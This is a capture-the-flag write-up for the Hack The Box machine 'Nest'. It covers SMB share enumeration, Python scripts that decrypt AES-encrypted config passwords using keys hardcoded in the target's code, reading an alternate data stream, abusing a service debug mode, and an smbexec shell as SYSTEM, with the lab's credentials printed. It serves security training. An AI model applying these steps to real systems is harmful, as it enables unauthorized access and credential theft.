HTB Writeup: Nest
Even files can have alternative behaviour
Enumeration
nmap
# Nmap 7.92 scan initiated Thu Jun 30 18:27:50 2022 as: nmap -sC -sV -T3 -oA nmap-tcp-all-ports -p- -iL ip.txt
Nmap scan report for 10.129.134.93 (10.129.134.93)
Host is up (0.085s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
4386/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
| Reporting Service V1.2
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| Reporting Service V1.2
| Unrecognised command
| Help:
| Reporting Service V1.2
| This service allows users to run queries against databases using the legacy HQK format
| AVAILABLE COMMANDS ---
| LIST
| SETDIR <Directory_Name>
| RUNQUERY <Query_ID>
| DEBUG <Password>
|_ HELP <Command>
Host script results:
|_clock-skew: 4s
| smb2-time:
| date: 2022-06-30T13:02:24
|_ start_date: 2022-06-30T12:56:44
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 30 18:32:59 2022 -- 1 IP address (1 host up) scanned in 309.02 seconds
- A SMB service is running on port 445. To enumerate,
smbmap
can be used with credentials ofanonymous:anonymous
for a guest session.
SMBMap
-
On running SMBMap, following shares with
READ
permissions are found.- Data
- Users
SMBClient
-
Using
smbclient.py
, the shares are further enumerated. -
A set of credentials is found in the file located at
\Shared\Templates\HR\Welcome Email.txt
The contents of the files are found to be:We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME> You will find your home folder in the following location: \\HTB-NEST\Users\<USERNAME> If you have any issues accessing specific services or workstations, please inform the IT department and use the credentials below until all systems have been set up for you. Username: TempUser Password: welcome2019 Thank you HR
-
The credentials obtained are
TempUser:welcome2019
-
These credentials are then used to enumerate SMB Shares further.
-
The new user has access to the
IT
folder inData
share. The filesystem is enumerated further. -
Another set of credentials is found in the file located at
\IT\Configs\RU Scanner\RU_Config.xml
The contents of files are:<?xml version="1.0"?> <ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Port>389</Port> <Username>c.smith</Username> <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password> </ConfigFile>
-
The password in xml file appears to be base64 encoded string. After decoding the string the output is found to be raw bytes.
User Access
-
Another interesting file is found in the directory
\IT\Configs\NotepadPlusPlus
. Theconfig.xml
has a file history of the files edited on notepad++ by the users recently. -
The interesting file is
\\HTB-NEST\Secure$\IT\Carl\Temp.txt
-
Switching the share to
Secure$
, the attempt to cd inIT
alone is blocked withSTATUS_ACCESS_DENIED
. Apparently the usertempUser
doesn’t has access. But on changing the directory directly toIT/Carl/
was no error is found. -
Turns out,
RU Scanner
is an in-house software being developed by Carl and the project is located at\IT\Carl\VB Projects\WIP\RU
-
The encryption cipher being used to store config file is found to be salted
AES-256-CBC
. The flaw in the code is the password (encryption-key), the salt and IVs are hardcoded in the the source code fileUtils.vb
-
The following python script can be used to obtain plaintext credentials form the base64 encoded string found the
RU_Config.xml
:#!/usr/bin/env python3 import binascii import base64 from Crypto.Cipher import AES from Crypto.Protocol import KDF from Crypto.Util.Padding import unpad password = "N3st22" salt = "88552299" ivs = b"464R5DFA5DL6LE28" iteration_for_key = 2 key_len = 256//8 ciphertext = "fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=" # Step 1: Create the key to be used with AES-256-CBC cipher key = KDF.PBKDF2(password, salt, count=iteration_for_key, dkLen=key_len) # Step 2: Create the cipher according to the file Utils.vb cipher = AES.new(key, AES.MODE_CBC, iv=ivs) # Step 3: Decrypt the base64 string using the created cipher. ciphertext_decoded = base64.b64decode(ciphertext) padded_plaintext = cipher.decrypt(ciphertext_decoded) plaintext = unpad(padded_plaintext, cipher.block_size) print(f"Password recovered: {plaintext}")
- The credentials
c.smith:xRxRxPANCAK3SxRxRx
can be used to further enumerate the filesystem on SMB.
Privilege Escalation
Enumeration
ADS (Alternate Data Stream)
-
A special folder named
HQK Reporting
is found in the directory//HTB-NEST/Users/C.Smith
-
A file named
Debug Mode Password.txt
is present in the directory, but on normalget
command via smbclient, the file downloaded turns out to be empty. -
On running
allinfo
command on the file in smbclient, it is found that the file is indeed not empty, 15 bytes in size and has 2 streams.- stream: [::$DATA] : which returns empty file (default)
- stream: [:Password:$DATA] : which returns 15 bytes. (ADS: Alternate Data Stream)
-
The file can be downloaded using alternate data stream with following commands in smbclient:
altname "Debug Mode Password.txt" # To get a name without spaces # DEBUGM~1.TXT get 'DEBUGM~1.TXT:Password:$DATA' # getting file \C.Smith\HQK Reporting\DEBUGM~1.TXT:Password:$DATA of size 15 as DEBUGM~1.TXT:Password:$DATA (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
-
The file is stored by the name
DEBUGM~1.TXT:Password:$DATA
in current local working directory. The password is found to beWBQ201953D8w
-
The file
HQK_Config_Backup.xml
shows that the service is running on portTCP/4386
. -
The service can be connected to using
telnet
-
The
DEBUG
mode in HQK Service allows setting the directory. -
The default directory is set at
C:\Program Files\HQK\ALL QUERIES
. On moving up one directory usingSETDIR ..
, there are 2 other directories present.LDAP
andLogs
. -
Inside
LDAP
, a configuration file is found, along with an executable, which was also present in\\HTB-NEST\Users\C.Smith\HQK Reporting\AD Integration Module
,hqkldap.exe
-
The contents of
Ldap.conf
contains another encrypted credential for the userAdministrator
:Domain=nest.local Port=389 BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local User=Administrator Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
-
The
hkqldap.exe
is downloaded from SMB filesystem. On analyzing the file with https://github.com/dnSpy/dnSpy, it is found it’s the same encryption used earlier, with different password and salt. -
On modifying the previous file with new password, salt, and iteration values.
#!/usr/bin/env python3 import binascii import base64 from Crypto.Cipher import AES from Crypto.Protocol import KDF from Crypto.Util.Padding import unpad password = "667912" salt = "1313Rf99" ivs = b"1L1SA61493DRV53Z" iteration_for_key = 3 key_len = 256//8 ciphertext = "yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=" # Step 1: Create the key to be used with AES-256-CBC cipher key = KDF.PBKDF2(password, salt, count=iteration_for_key, dkLen=key_len) # Step 2: Create the cipher according to the file Utils.vb cipher = AES.new(key, AES.MODE_CBC, iv=ivs) # Step 3: Decrypt the base64 string using the created cipher. ciphertext_decoded = base64.b64decode(ciphertext) padded_plaintext = cipher.decrypt(ciphertext_decoded) plaintext = unpad(padded_plaintext, cipher.block_size) print(f"Password recovered: {plaintext}")
-
Using the credentials
Administrator:XtH4nkS4Pl4y1nGX
withsmbexec.py
, an semi-interactive shell with the privileges ofNT System/Authority
is achieved.
The remote target is now completely compromised.